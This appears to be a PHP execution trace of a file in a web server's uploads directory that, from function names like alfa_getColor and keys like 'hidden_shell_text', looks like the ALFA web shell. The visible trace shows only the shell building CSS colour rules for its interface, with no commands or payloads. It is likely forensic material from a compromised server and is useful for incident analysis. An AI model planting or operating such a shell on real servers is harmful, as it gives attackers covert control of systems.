5	227	0	0.129547	2814384	str_replace	0		/var/www/html/uploads/garil2.php	632	3	'{color}'	'#00FF00'	'color: {color};'
5	227	1	0.129562	2814520
5	227	R			'color: #00FF00;'
4		A						/var/www/html/uploads/garil2.php	632	$code = 'color: #00FF00;'
4		A						/var/www/html/uploads/garil2.php	633	$css .= '.content_options_holder .header center a{color: #00FF00;}'
4		A						/var/www/html/uploads/garil2.php	624	$key = 'options_list:hover'
4		A						/var/www/html/uploads/garil2.php	630	$k = '.content_options_holder .header center a:hover'
5	228	0	0.129621	2814344	alfa_getColor	1		/var/www/html/uploads/garil2.php	631	1	'options_list:hover'
5		A						/var/www/html/uploads/garil2.php	614	$target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.content_options_holder .header center a:hover' => 'color: {color};']]
5	228	1	0.129651	2814344
5	228	R			'#FFFFFF'
4		A						/var/www/html/uploads/garil2.php	631	$color = '#FFFFFF'
5	229	0	0.129674	2814344	str_replace	0		/var/www/html/uploads/garil2.php	632	3	'{color}'	'#FFFFFF'	'color: {color};'
5	229	1	0.129688	2814480
5	229	R			'color: #FFFFFF;'
4		A						/var/www/html/uploads/garil2.php	632	$code = 'color: #FFFFFF;'
4		A						/var/www/html/uploads/garil2.php	633	$css .= '.content_options_holder .header center a:hover{color: #FFFFFF;}'
4		A						/var/www/html/uploads/garil2.php	624	$key = 'options_list_header'
4		A						/var/www/html/uploads/garil2.php	630	$k = '.txtfont_header'
5	230	0	0.129746	2814472	alfa_getColor	1		/var/www/html/uploads/garil2.php	631	1	'options_list_header'
5		A						/var/www/html/uploads/garil2.php	614	$target = ['key_color' => '#59cc33', 'multi_selector' => ['.txtfont_header' => 'color: {color};']]
5	230	1	0.129775	2814472
5	230	R			'#59cc33'
4		A						/var/www/html/uploads/garil2.php	631	$color = '#59cc33'
5	231	0	0.129798	2814472	str_replace	0		/var/www/html/uploads/garil2.php	632	3	'{color}'	'#59cc33'	'color: {color};'
5	231	1	0.129814	2814608
5	231	R			'color: #59cc33;'
4		A						/var/www/html/uploads/garil2.php	632	$code = 'color: #59cc33;'
4		A						/var/www/html/uploads/garil2.php	633	$css .= '.txtfont_header{color: #59cc33;}'
4		A						/var/www/html/uploads/garil2.php	624	$key = 'options_list_text'
4		A						/var/www/html/uploads/garil2.php	630	$k = '.txtfont,.tbltxt'
5	232	0	0.129871	2814472	alfa_getColor	1		/var/www/html/uploads/garil2.php	631	1	'options_list_text'
5		A						/var/www/html/uploads/garil2.php	614	$target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.txtfont,.tbltxt' => 'color: {color};']]
5	232	1	0.129900	2814472
5	232	R			'#FFFFFF'
4		A						/var/www/html/uploads/garil2.php	631	$color = '#FFFFFF'
5	233	0	0.129922	2814472	str_replace	0		/var/www/html/uploads/garil2.php	632	3	'{color}'	'#FFFFFF'	'color: {color};'
5	233	1	0.129937	2814608
5	233	R			'color: #FFFFFF;'
4		A						/var/www/html/uploads/garil2.php	632	$code = 'color: #FFFFFF;'
4		A						/var/www/html/uploads/garil2.php	633	$css .= '.txtfont,.tbltxt{color: #FFFFFF;}'
4		A						/var/www/html/uploads/garil2.php	624	$key = 'Alfa+'
4		A						/var/www/html/uploads/garil2.php	630	$k = '.alfa_plus'
5	234	0	0.129998	2814472	alfa_getColor	1		/var/www/html/uploads/garil2.php	631	1	'Alfa+'
5		A						/var/www/html/uploads/garil2.php	614	$target = ['key_color' => '#06ff0f', 'multi_selector' => ['.alfa_plus' => 'color: {color};font-weight: unset;']]
5	234	1	0.130028	2814472
5	234	R			'#06ff0f'
4		A						/var/www/html/uploads/garil2.php	631	$color = '#06ff0f'
5	235	0	0.130052	2814472	str_replace	0		/var/www/html/uploads/garil2.php	632	3	'{color}'	'#06ff0f'	'color: {color};font-weight: unset;'
5	235	1	0.130068	2814632
5	235	R			'color: #06ff0f;font-weight: unset;'
4		A						/var/www/html/uploads/garil2.php	632	$code = 'color: #06ff0f;font-weight: unset;'
4		A						/var/www/html/uploads/garil2.php	633	$css .= '.alfa_plus{color: #06ff0f;font-weight: unset;}'
4		A						/var/www/html/uploads/garil2.php	624	$key = 'hidden_shell_text'
4		A						/var/www/html/uploads/garil2.php	630	$k = '#hidden_sh a'
5	236	0	0.130127	2814496	alfa_getColor	1		/var/www/html/uploads/garil2.php	631	1	'hidden_shell_text'
5		A						/var/www/html/uploads/garil2.php	614	$target = ['key_color' => '#00FF00', 'multi_selector' => ['#hidden_sh a' => 'color: {color};']]
5	236	1	0.130157	2814496
5	236	R			'#00FF00'
4		A						/var/www/html/uploads/garil2.php	631	$color = '#00FF00'
5	237	0	0.130180	2814496	str_replace	0		/var/www/html/uploads/garil2.php	632	3	'{color}'	'#00FF00'	'color: {color};'
5	237	1	0.130194	2814632
5	237	R			'color: #00FF00;'
4		A						/var/www/html/uploads/garil2.php	632	$code = 'color: #00FF00;'
4		A						/var/www/html/uploads/garil2.php	633	$css .= '#hidden_sh a{color: #00FF00;}'
4		A						/var/www/html/uploads/garil2.php	624	$key = 'hidden_shell_version'
5	238	0	0.130241	2814728	alfa_getColor	1		/var/www/html/uploads/garil2.php	626	1	'hidden_shell_version'
5		A						/var/www/html/uploads/garil2.php	614	$target = '#ff0000'
5	238	1	0.130265	2814728
5	238	R			'#ff0000'
4		A						/var/www/html/uploads/garil2.php	626	$value = '#ff0000'
4		A						/var/www/html/uploads/garil2.php	627	$css .= '.hidden_shell_version{color: #ff0000;}'
4		A						/var/www/html/uploads/garil2.php	624	$key = 'shell_name'
5	239	0	0.130310	2814728	alfa_getColor	1		/var/www/html/uploads/garil2.php	626	1	'shell_name'
5		A						/var/www/html/uploads/garil2.php	614	$target = '#FF0000'
5	239	1	0.130334	2814728
5	239	R			'#FF0000'
4		A						/var/www/html/uploads/garil2.php	626	$value = '#FF0000'
4		A						/var/www/html/uploads/garil2.php	627	$css .= '.shell_name{color: #FF0000;}'
4		A						/var/www/html/uploads/garil2.php	624	$key = 'main_row:hover'
4		A						/var/www/html/uploads/garil2.php	630	$k = '.main tr:hover'
5	240	0	0.130388	2814728	alfa_getColor	1		/var/www/html/uploads/garil2.php	631	1	'main_row:hover'
5		A						/var/www/html/uploads/garil2.php	614	$target = ['key_color' => '#646464', 'multi_selector' => ['.main tr:hover' => 'background-color: {color};']]
5	240	1	0.130418	2814728
5	240	R			'#646464'
4		A						/var/www/html/uploads/garil2.php	631	$color = '#646464'
5	241	0	0.130441	2814728	str_replace	0		/var/www/html/uploads/garil2.php	632	3	'{color}'	'#646464'	'background-color: {color};'
5	241	1	0.130457	2814880
5	241	R			'background-color: #646464;'
4		A						/var/www/html/uploads/garil2.php	632	$code = 'background-color: #646464;'
4		A						/var/www/html/uploads/garil2.php	633	$css .= '.main tr:hover{background-color: #646464;}'
4		A						/var/www/html/uploads/garil2.php	624	$key = 'main_header'
4		A						/var/www/html/uploads/garil2.php	630	$k = '.main th'
5	242	0	0.130515	2814744	alfa_getColor	1		/var/www/html/uploads/garil2.php	631	1	'main_header'
5		A						/var/www/html/uploads/garil2.php	614	$target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.main th' => 'color: {color};']]
5	242	1	0.130543	2814744
5	242	R			'#FFFFFF'
4		A						/var/www/html/uploads/garil2.php	631	$color = '#FFFFFF'
5	243	0	0.130566	2814744	str_replace	0		/var/www/html/uploads/garil2.php	632	3	'{color}'	'#FFFFFF'	'color: {color};'
5	243	1	0.130584	2814880
5	243	R			'color: #FFFFFF;'
4		A						/var/www/html/uploads/garil2.php	632	$code = 'color: #FFFFFF;'
4		A						/var/www/html/uploads/garil2.php	633	$css .= '.main th{color: #FFFFFF;}'
4		A						/var/www/html/uploads/garil2.php	624	$key = 'main_name'
4		A						/var/www/html/uploads/garil2.php	630	$k = '.main .main_name'
5	244	0	0.130640	2814728	alfa_getColor	1		/var/www/html/uploads/garil2.php	631	1	'main_name'
5		A						/var/www/html/uploads/garil2.php	614	$target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.main .main_name' => 'color: {color};font-weight: unset;']]
5	244	1	0.130671	2814728
5	244	R			'#FFFFFF'
4		A						/var/www/html/uploads/garil2.php	631	$color = '#FFFFFF'
5	245	0	0.130693	2814728	str_replace	0		/var/www/html/uploads/garil2.php	632	3	'{color}'	'#FFFFFF'	'color: {color};font-weight: unset;'
5	245	1	0.130709	2814888
5	245	R			'color: #FFFFFF;font-weight: unset;'
4		A						/var/www/html/uploads/garil2.php	632	$code = 'color: #FFFFFF;font-weight: unset;'
4		A						/var/www/html/uploads/garil2.php	633	$css .= '.main .main_name{color: #FFFFFF;font-weight: unset;}'
4		A						/var/www/html/uploads/garil2.php	624	$key = 'main_size'
5	246	0	0.130758	2814752	alfa_getColor	1		/var/www/html/uploads/garil2.php	626	1	'main_size'
5		A						/var/www/html/uploads/garil2.php	614	$target = '#67ABDF'
5	246	1	0.130782	2814752
5	246	R			'#67ABDF'
4		A						/var/www/html/uploads/garil2.php	626	$value = '#67ABDF'
4		A						/var/www/html/uploads/garil2.php	627	$css .= '.main_size{color: #67ABDF;}'
4		A						/var/www/html/uploads/garil2.php	624	$key = 'main_modify'
5	247	0	0.130827	2814752	alfa_getColor	1		/var/www/html/uploads/garil2.php	626	1	'main_modify'
5		A						/var/www/html/uploads/garil2.php	614	$target = '#67ABDF'
5	247	1	0.130850	2814752
5	247	R			'#67ABDF'
4		A						/var/www/html/uploads/garil2.php	626	$value = '#67ABDF'
4		A						/var/www/html/uploads/garil2.php	627	$css .= '.main_modify{color: #67ABDF;}'
4		A						/var/www/html/uploads/garil2.php	624	$key = 'main_owner_group'
5	248	0	0.130894	2815008	alfa_getColor	1		/var/www/html/uploads/garil2.php	626	1	'main_owner_group'
5		A						/var/www/html/uploads/garil2.php	614	$target = '#67ABDF'
5	248	1	0.130917	2815008
5	248	R			'#67ABDF'
4		A						/var/www/html/uploads/garil2.php	626	$value = '#67ABDF'
4		A						/var/www/html/uploads/garil2.php	627	$css .= '.main_owner_group{color: #67ABDF;}'
4		A						/var/www/html/uploads/garil2.php	624	$key = 'main_green_perm'
5	249	0	0.130961	2815008	alfa_getColor	1		/var/www/html/uploads/garil2.php	626	1	'main_green_perm'
5		A						/var/www/html/uploads/garil2.php	614	$target = '#25ff00'
5	249	1	0.130984	2815008
5	249	R			'#25ff00'
4		A						/var/www/html/uploads/garil2.php	626	$value = '#25ff00'
4		A						/var/www/html/uploads/garil2.php	627	$css .= '.main_green_perm{color: #25ff00;}'
4		A						/var/www/html/uploads/garil2.php	624	$key = 'main_red_perm'
5	250	0	0.131027	2815008	alfa_getColor	1		/var/www/html/uploads/garil2.php	626	1	'main_red_perm'
5		A						/var/www/html/uploads/garil2.php	614	$target = '#FF0000'
5	250	1	0.131050	2815008
5	250	R			'#FF0000'
4		A						/var/www/html/uploads/garil2.php	626	$value = '#FF0000'
4		A						/var/www/html/uploads/garil2.php	627	$css .= '.main_red_perm{color: #FF0000;}'
4		A						/var/www/html/uploads/garil2.php	624	$key = 'main_white_perm'
5	251	0	0.131094	2815008	alfa_getColor	1		/var/www/html/uploads/garil2.php	626	1	'main_white_perm'
5		A						/var/www/html/uploads/garil2.php	614	$target = '#FFFFFF'
5	251	1	0.131117	2815008
5	251	R			'#FFFFFF'
4		A						/var/www/html/uploads/garil2.php	626	$value = '#FFFFFF'
4		A						/var/www/html/uploads/garil2.php	627	$css .= '.main_white_perm{color: #FFFFFF;}'
4		A						/var/www/html/uploads/garil2.php	624	$key = 'beetween_perms'
5	252	0	0.131160	2815008	alfa_getColor	1		/var/www/html/uploads/garil2.php	626	1	'beetween_perms'
5		A						/var/www/html/uploads/garil2.php	614	$target = '#FFFFFF'
5	252	1	0.131186	2815008
5	252	R			'#FFFFFF'
4		A						/var/www/html/uploads/garil2.php	626	$value = '#FFFFFF'
4		A						/var/www/html/uploads/garil2.php	627	$css .= '.beetween_perms{color: #FFFFFF;}'
4		A						/var/www/html/uploads/garil2.php	624	$key = 'main_actions'
4		A						/var/www/html/uploads/garil2.php	630	$k = '.main .actions'
5	253	0	0.131240	2815008	alfa_getColor	1		/var/www/html/uploads/garil2.php	631	1	'main_actions'
5		A						/var/www/html/uploads/garil2.php	614	$target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.main .actions' => 'color: {color};']]
5	253	1	0.131268	2815008
5	253	R			'#FFFFFF'
4		A						/var/www/html/uploads/garil2.php	631	$color = '#FFFFFF'
5	254	0	0.131290	2815008	str_replace	0		/var/www/html/uploads/garil2.php	632	3	'{color}'	'#FFFFFF'	'color: {color};'
5	254	1	0.131305	2815144
5	254	R			'color: #FFFFFF;'
4		A						/var/www/html/uploads/garil2.php	632	$code = 'color: #FFFFFF;'
4		A						/var/www/html/uploads/garil2.php	633	$css .= '.main .actions{color: #FFFFFF;}'
4		A						/var/www/html/uploads/garil2.php	624	$key = 'minimize_editor_background'
4		A						/var/www/html/uploads/garil2.php	630	$k = '.minimized-wrapper'
5	255	0	0.131360	2814984	alfa_getColor	1		/var/www/html/uploads/garil2.php	631	1	'minimize_editor_background'
5		A						/var/www/html/uploads/garil2.php	614	$target = ['key_color' => '#0e304a', 'multi_selector' => ['.minimized-wrapper' => 'background-color: {color};']]
5	255	1	0.131391	2814984
5	255	R			'#0e304a'
4		A						/var/www/html/uploads/garil2.php	631	$color = '#0e304a'
5	256	0	0.131414	2814984	str_replace	0		/var/www/html/uploads/garil2.php	632	3	'{color}'	'#0e304a'	'background-color: {color};'
5	256	1	0.131430	2815136
5	256	R			'background-color: #0e304a;'
4		A						/var/www/html/uploads/garil2.php	632	$code = 'background-color: #0e304a;'
4		A						/var/www/html/uploads/garil2.php	633	$css .= '.minimized-wrapper{background-color: #0e304a;}'
4		A						/var/www/html/uploads/garil2.php	624	$key = 'minimize_editor_text'
4		A						/var/www/html/uploads/garil2.php	630	$k = '.minimized-text'
5	257	0	0.131489	2815000	alfa_getColor	1		/var/www/html/uploads/garil2.php	631	1	'minimize_editor_text'
5		A						/var/www/html/uploads/garil2.php	614	$target = ['key_color' => '#f5deb3', 'multi_selector' => ['.minimized-text' => 'color: {color};']]
5	257	1	0.131519	2815000
5	257	R			'#f5deb3'
4		A						/var/www/html/uploads/garil2.php	631	$color = '#f5deb3'
5	258	0	0.131542	2815000	str_replace	0		/var/www/html/uploads/garil2.php	632	3	'{color}'	'#f5deb3'	'color: {color};'
5	258	1	0.131558	2815136
5	258	R			'color: #f5deb3;'
4		A						/var/www/html/uploads/garil2.php	632	$code = 'color: #f5deb3;'
4		A						/var/www/html/uploads/garil2.php	633	$css .= '.minimized-text{color: #f5deb3;}'
4		A						/var/www/html/uploads/garil2.php	624	$key = 'editor_border'
4		A						/var/www/html/uploads/garil2.php	630	$k = '.editor-explorer,.editor-modal'
5	259	0	0.131615	2815240	alfa_getColor	1		/var/www/html/uploads/garil2.php	631	1	'editor_border'
5		A						/var/www/html/uploads/garil2.php	614	$target = ['key_color' => '#0e304a', 'multi_selector' => ['.editor-explorer,.editor-modal' => 'border: 2px solid {color};']]
5	259	1	0.131646	2815240
5	259	R			'#0e304a'
4		A						/var/www/html/uploads/garil2.php	631	$color = '#0e304a'
5	260	0	0.131669	2815240	str_replace	0		/var/www/html/uploads/garil2.php	632	3	'{color}'	'#0e304a'	'border: 2px solid {color};'
5	260	1	0.131684	2815392
5	260	R			'border: 2px solid #0e304a;'
4		A						/var/www/html/uploads/garil2.php	632	$code = 'border: 2px solid #0e304a;'
4		A						/var/www/html/uploads/garil2.php	633	$css .= '.editor-explorer,.editor-modal{border: 2px solid #0e304a;}'
4		A						/var/www/html/uploads/garil2.php	624	$key = 'editor_background'
4		A						/var/www/html/uploads/garil2.php	630	$k = '.editor-explorer,.editor-modal'
5	261	0	0.131744	2815256	alfa_getColor	1		/var/www/html/uploads/garil2.php	631	1	'editor_background'
5		A						/var/www/html/uploads/garil2.php	614	$target = ['key_color' => 'rgba(0, 1, 23, 0.94)', 'multi_selector' => ['.editor-explorer,.editor-modal' => 'background-color: {color};']]
5	261	1	0.131779	2815256
5	261	R			'rgba(0, 1, 23, 0.94)'
4		A						/var/www/html/uploads/garil2.php	631	$color = 'rgba(0, 1, 23, 0.94)'
5	262	0	0.131805	2815256	str_replace	0		/var/www/html/uploads/garil2.php	632	3	'{color}'	'rgba(0, 1, 23, 0.94)'	'background-color: {color};'
5	262	1	0.131821	2815432
5	262	R			'background-color: rgba(0, 1, 23, 0.94);'
4		A						/var/www/html/uploads/garil2.php	632	$code = 'background-color: rgba(0, 1, 23, 0.94);'
4		A						/var/www/html/uploads/garil2.php	633	$css .= '.editor-explorer,.editor-modal{background-color: rgba(0, 1, 23, 0.94);}'
4		A						/var/www/html/uploads/garil2.php	624	$key = 'editor_header_background'
4		A						/var/www/html/uploads/garil2.php	630	$k = '.editor-header'
5	263	0	0.131883	2815280	alfa_getColor	1		/var/www/html/uploads/garil2.php	631	1	'editor_header_background'
5		A						/var/www/html/uploads/garil2.php	614	$target = ['key_color' => 'rgba(21, 66, 88, 0.93)', 'multi_selector' => ['.editor-header' => 'background-color: {color};']]
5	263	1	0.131914	2815280
5	263	R			'rgba(21, 66, 88, 0.93)'
4		A						/var/www/html/uploads/garil2.php	631	$color = 'rgba(21, 66, 88, 0.93)'
5	264	0	0.131939	2815280	str_replace	0		/var/www/html/uploads/garil2.php	632	3	'{color}'	'rgba(21, 66, 88, 0.93)'	'background-color: {color};'
5	264	1	0.131955	2815456
5	264	R			'background-color: rgba(21, 66, 88, 0.93);'
4		A						/var/www/html/uploads/garil2.php	632	$code = 'background-color: rgba(21, 66, 88, 0.93);'
4		A						/var/www/html/uploads/garil2.php	633	$css .= '.editor-header{background-color: rgba(21, 66, 88, 0.93);}'
4		A						/var/www/html/uploads/garil2.php	624	$key = 'editor_header_text'
4		A						/var/www/html/uploads/garil2.php	630	$k = '.editor-path'
5	265	0	0.132016	2815280	alfa_getColor	1		/var/www/html/uploads/garil2.php	631	1	'editor_header_text'
5		A						/var/www/html/uploads/garil2.php	614	$target = ['key_color' => '#00ff7f', 'multi_selector' => ['.editor-path' => 'color: {color};']]
5	265	1	0.132045	2815280
5	265	R			'#00ff7f'
4		A						/var/www/html/uploads/garil2.php	631	$color = '#00ff7f'
5	266	0	0.132068	2815280	str_replace	0		/var/www/html/uploads/garil2.php	632	3	'{color}'	'#00ff7f'	'color: {color};'
5	266	1	0.132083	2815416
5	266	R			'color: #00ff7f;'
4		A						/var/www/html/uploads/garil2.php	632	$code = 'color: #00ff7f;'
4		A						/var/www/html/uploads/garil2.php	633	$css .= '.editor-path{color: #00ff7f;}'
4		A						/var/www/html/uploads/garil2.php	624	$key = 'editor_header_button'
4		A						/var/www/html/uploads/garil2.php	630	$k = '.close-button, .editor-minimize'
5	267	0	0.132140	2815240	alfa_getColor	1		/var/www/html/uploads/garil2.php	631	1	'editor_header_button'
5		A						/var/www/html/uploads/garil2.php	614	$target = ['key_color' => '#1d5673', 'multi_selector' => ['.close-button, .editor-minimize' => 'background-color: {color};']]
5	267	1	0.132171	2815240
5	267	R			'#1d5673'
4		A						/var/www/html/uploads/garil2.php	631	$color = '#1d5673'
5	268	0	0.132194	2815240	str_replace	0		/var/www/html/uploads/garil2.php	632	3	'{color}'	'#1d5673'	'background-color: {color};'
5	268	1	0.132209	2815392
5	268	R			'background-color: #1d5673;'
4		A						/var/www/html/uploads/garil2.php	632	$code = 'background-color: #1d5673;'
4		A						/var/www/html/uploads/garil2.php	633	$css .= '.close-button, .editor-minimize{background-color: #1d5673;}'
4		A						/var/www/html/uploads/garil2.php	624	$key = 'editor_actions'
4		A						/var/www/html/uploads/garil2.php	630	$k = '.editor_actions'
5	269	0	0.132270	2815512	alfa_getColor	1		/var/www/html/uploads/garil2.php	631	1	'editor_actions'
5		A						/var/www/html/uploads/garil2.php	614	$target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.editor_actions' => 'color: {color};']]
5	269	1	0.132298	2815512
5	269	R			'#FFFFFF'
4		A						/var/www/html/uploads/garil2.php	631	$color = '#FFFFFF'
5	270	0	0.132321	2815512	str_replace	0		/var/www/html/uploads/garil2.php	632	3	'{color}'	'#FFFFFF'	'color: {color};'
5	270	1	0.132335	2815648
5	270	R			'color: #FFFFFF;'
4		A						/var/www/html/uploads/garil2.php	632	$code = 'color: #FFFFFF;'
4		A						/var/www/html/uploads/garil2.php	633	$css .= '.editor_actions{color: #FFFFFF;}'
4		A						/var/www/html/uploads/garil2.php	624	$key = 'editor_file_info_vars'
4		A						/var/www/html/uploads/garil2.php	630	$k = '.editor_file_info_vars'
5	271	0	0.132395	2815496	alfa_getColor	1		/var/www/html/uploads/garil2.php	631	1	'editor_file_info_vars'
5		A						/var/www/html/uploads/garil2.php	614	$target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.editor_file_info_vars' => 'color: {color};']]
5	271	1	0.132426	2815496
5	271	R			'#FFFFFF'
4		A						/var/www/html/uploads/garil2.php	631	$color = '#FFFFFF'
5	272	0	0.132449	2815496	str_replace	0		/var/www/html/uploads/garil2.php	632	3	'{color}'	'#FFFFFF'	'color: {color};'
5	272	1	0.132463	2815632
5	272	R			'color: #FFFFFF;'
4		A						/var/www/html/uploads/garil2.php	632	$code = 'color: #FFFFFF;'
4		A						/var/www/html/uploads/garil2.php	633	$css .= '.editor_file_info_vars{color: #FFFFFF;}'
4		A						/var/www/html/uploads/garil2.php	624	$key = 'editor_file_info_values'
4		A						/var/www/html/uploads/garil2.php	630	$k = '.filestools'
5	273	0	0.132532	2815496	alfa_getColor	1		/var/www/html/uploads/garil2.php	631	1	'editor_file_info_values'
5		A						/var/www/html/uploads/garil2.php	614	$target = ['key_color' => '#67ABDF', 'multi_selector' => ['.filestools' => 'color: {color};']]
5	273	1	0.132562	2815496
5	273	R			'#67ABDF'
4		A						/var/www/html/uploads/garil2.php	631	$color = '#67ABDF'
5	274	0	0.132586	2815496	str_replace	0		/var/www/html/uploads/garil2.php	632	3	'{color}'	'#67ABDF'	'color: {color};'
5	274	1	0.132601	2815632
5	274	R			'color: #67ABDF;'
4		A						/var/www/html/uploads/garil2.php	632	$code = 'color: #67ABDF;'
4		A						/var/www/html/uploads/garil2.php	633	$css .= '.filestools{color: #67ABDF;}'
4		A						/var/www/html/uploads/garil2.php	624	$key = 'editor_history_header'
4		A						/var/www/html/uploads/garil2.php	630	$k = '.hheader-text,.history-clear'
5	275	0	0.132658	2815496	alfa_getColor	1		/var/www/html/uploads/garil2.php	631	1	'editor_history_header'
5		A						/var/www/html/uploads/garil2.php	614	$target = ['key_color' => '#14ff07', 'multi_selector' => ['.hheader-text,.history-clear' => 'color: {color};']]
5	275	1	0.132688	2815496
5	275	R			'#14ff07'
4		A						/var/www/html/uploads/garil2.php	631	$color = '#14ff07'
5	276	0	0.132712	2815496	str_replace	0		/var/www/html/uploads/garil2.php	632	3	'{color}'	'#14ff07'	'color: {color};'
5	276	1	0.132727	2815632
5	276	R			'color: #14ff07;'
4		A						/var/www/html/uploads/garil2.php	632	$code = 'color: #14ff07;'
4		A						/var/www/html/uploads/garil2.php	633	$css .= '.hheader-text,.history-clear{color: #14ff07;}'
4		A						/var/www/html/uploads/garil2.php	624	$key = 'editor_history_list'
4		A						/var/www/html/uploads/garil2.php	630	$k = '.editor-file-name'
5	277	0	0.132785	2815496	alfa_getColor	1		/var/www/html/uploads/garil2.php	631	1	'editor_history_list'
5		A						/var/www/html/uploads/garil2.php	614	$target = ['key_color' => '#03b3a3', 'multi_selector' => ['.editor-file-name' => 'color: {color};']]
5	277	1	0.132814	2815496
5	277	R			'#03b3a3'
4		A						/var/www/html/uploads/garil2.php	631	$color = '#03b3a3'
5	278	0	0.132838	2815496	str_replace	0		/var/www/html/uploads/garil2.php	632	3	'{color}'	'#03b3a3'	'color: {color};'
5	278	1	0.132853	2815632
5	278	R			'color: #03b3a3;'
4		A						/var/www/html/uploads/garil2.php	632	$code = 'color: #03b3a3;'
4		A						/var/www/html/uploads/garil2.php	633	$css .= '.editor-file-name{color: #03b3a3;}'
4		A						/var/www/html/uploads/garil2.php	624	$key = 'editor_history_selected_file'
4		A						/var/www/html/uploads/garil2.php	630	$k = '.is_active'
5	279	0	0.132910	2815496	alfa_getColor	1		/var/www/html/uploads/garil2.php	631	1	'editor_history_selected_file'
5		A						/var/www/html/uploads/garil2.php	614	$target = ['key_color' => 'rgba(49, 55, 93, 0.77)', 'multi_selector' => ['.is_active' => 'background-color: {color};']]
5	279	1	0.132941	2815496
5	279	R			'rgba(49, 55, 93, 0.77)'
4		A						/var/www/html/uploads/garil2.php	631	$color = 'rgba(49, 55, 93, 0.77)'
5	280	0	0.132971	2815496	str_replace	0		/var/www/html/uploads/garil2.php	632	3	'{color}'	'rgba(49, 55, 93, 0.77)'	'background-color: {color};'
5	280	1	0.132987	2815672
5	280	R			'background-color: rgba(49, 55, 93, 0.77);'
4		A						/var/www/html/uploads/garil2.php	632	$code = 'background-color: rgba(49, 55, 93, 0.77);'
4		A						/var/www/html/uploads/garil2.php	633	$css .= '.is_active{background-color: rgba(49, 55, 93, 0.77);}'
4		A						/var/www/html/uploads/garil2.php	624	$key = 'editor_history_file:hover'
4		A						/var/www/html/uploads/garil2.php	630	$k = '.file-holder > .history:hover'
5	281	0	0.133055	2816048	alfa_getColor	1		/var/www/html/uploads/garil2.php	631	1	'editor_history_file:hover'
5		A						/var/www/html/uploads/garil2.php	614	$target = ['key_color' => '#646464', 'multi_selector' => ['.file-holder > .history:hover' => 'background-color: {color};']]
5	281	1	0.133086	2816048
5	281	R			'#646464'
4		A						/var/www/html/uploads/garil2.php	631	$color = '#646464'
5	282	0	0.133110	2816048	str_replace	0		/var/www/html/uploads/garil2.php	632	3	'{color}'	'#646464'	'background-color: {color};'
5	282	1	0.133126	2816200
5	282	R			'background-color: #646464;'
4		A						/var/www/html/uploads/garil2.php	632	$code = 'background-color: #646464;'
4		A						/var/www/html/uploads/garil2.php	633	$css .= '.file-holder > .history:hover{background-color: #646464;}'
4		A						/var/www/html/uploads/garil2.php	624	$key = 'input_box_border'
4		A						/var/www/html/uploads/garil2.php	630	$k = 'input[type=text],textarea'
5	283	0	0.133187	2816024	alfa_getColor	1		/var/www/html/uploads/garil2.php	631	1	'input_box_border'
5		A						/var/www/html/uploads/garil2.php	614	$target = ['key_color' => '#0E304A', 'multi_selector' => ['input[type=text],textarea' => 'border: 1px solid {color}']]
5	283	1	0.133218	2816024
5	283	R			'#0E304A'
4		A						/var/www/html/uploads/garil2.php	631	$color = '#0E304A'
5	284	0	0.133242	2816024	str_replace	0		/var/www/html/uploads/garil2.php	632	3	'{color}'	'#0E304A'	'border: 1px solid {color}'
5	284	1	0.133258	2816176
5	284	R			'border: 1px solid #0E304A'
4		A						/var/www/html/uploads/garil2.php	632	$code = 'border: 1px solid #0E304A'
4		A						/var/www/html/uploads/garil2.php	633	$css .= 'input[type=text],textarea{border: 1px solid #0E304A}'
4		A						/var/www/html/uploads/garil2.php	624	$key = 'input_box_text'
4		A						/var/www/html/uploads/garil2.php	630	$k = 'input[type=text],textarea'
5	285	0	0.133318	2816024	alfa_getColor	1		/var/www/html/uploads/garil2.php	631	1	'input_box_text'
5		A						/var/www/html/uploads/garil2.php	614	$target = ['key_color' => '#999999', 'multi_selector' => ['input[type=text],textarea' => 'color: {color};']]
5	285	1	0.133348	2816024
5	285	R			'#999999'
4		A						/var/www/html/uploads/garil2.php	631	$color = '#999999'
5	286	0	0.133371	2816024	str_replace	0		/var/www/html/uploads/garil2.php	632	3	'{color}'	'#999999'	'color: {color};'
5	286	1	0.133385	2816160
5	286	R			'color: #999999;'
4		A						/var/www/html/uploads/garil2.php	632	$code = 'color: #999999;'
4		A						/var/www/html/uploads/garil2.php	633	$css .= 'input[type=text],textarea{color: #999999;}'
4		A						/var/www/html/uploads/garil2.php	624	$key = 'input_box:hover'
4		A						/var/www/html/uploads/garil2.php	630	$k = 'input[type=text]:hover,textarea:hover'
5	287	0	0.133444	2816008	alfa_getColor	1		/var/www/html/uploads/garil2.php	631	1	'input_box:hover'
5		A						/var/www/html/uploads/garil2.php	614	$target = ['key_color' => '#27979B', 'multi_selector' => ['input[type=text]:hover,textarea:hover' => 'box-shadow:0 0 4px {color};border:1px solid {color};']]
5	287	1	0.133476	2816008
5	287	R			'#27979B'
4		A						/var/www/html/uploads/garil2.php	631	$color = '#27979B'
5	288	0	0.133500	2816008	str_replace	0		/var/www/html/uploads/garil2.php	632	3	'{color}'	'#27979B'	'box-shadow:0 0 4px {color};border:1px solid {color};'
5	288	1	0.133517	2816184
5	288	R			'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
4		A						/var/www/html/uploads/garil2.php	632	$code = 'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
4		A						/var/www/html/uploads/garil2.php	633	$css .= 'input[type=text]:hover,textarea:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;}'
4		A						/var/www/html/uploads/garil2.php	624	$key = 'select_box_border'
4		A						/var/www/html/uploads/garil2.php	630	$k = 'select'
5	289	0	0.133585	2816048	alfa_getColor	1		/var/www/html/uploads/garil2.php	631	1	'select_box_border'
5		A						/var/www/html/uploads/garil2.php	614	$target = ['key_color' => '#0E304A', 'multi_selector' => ['select' => 'border: 1px solid {color}']]
5	289	1	0.133615	2816048
5	289	R			'#0E304A'
4		A						/var/www/html/uploads/garil2.php	631	$color = '#0E304A'
5	290	0	0.133638	2816048	str_replace	0		/var/www/html/uploads/garil2.php	632	3	'{color}'	'#0E304A'	'border: 1px solid {color}'
5	290	1	0.133654	2816200
5	290	R			'border: 1px solid #0E304A'
4		A						/var/www/html/uploads/garil2.php	632	$code = 'border: 1px solid #0E304A'
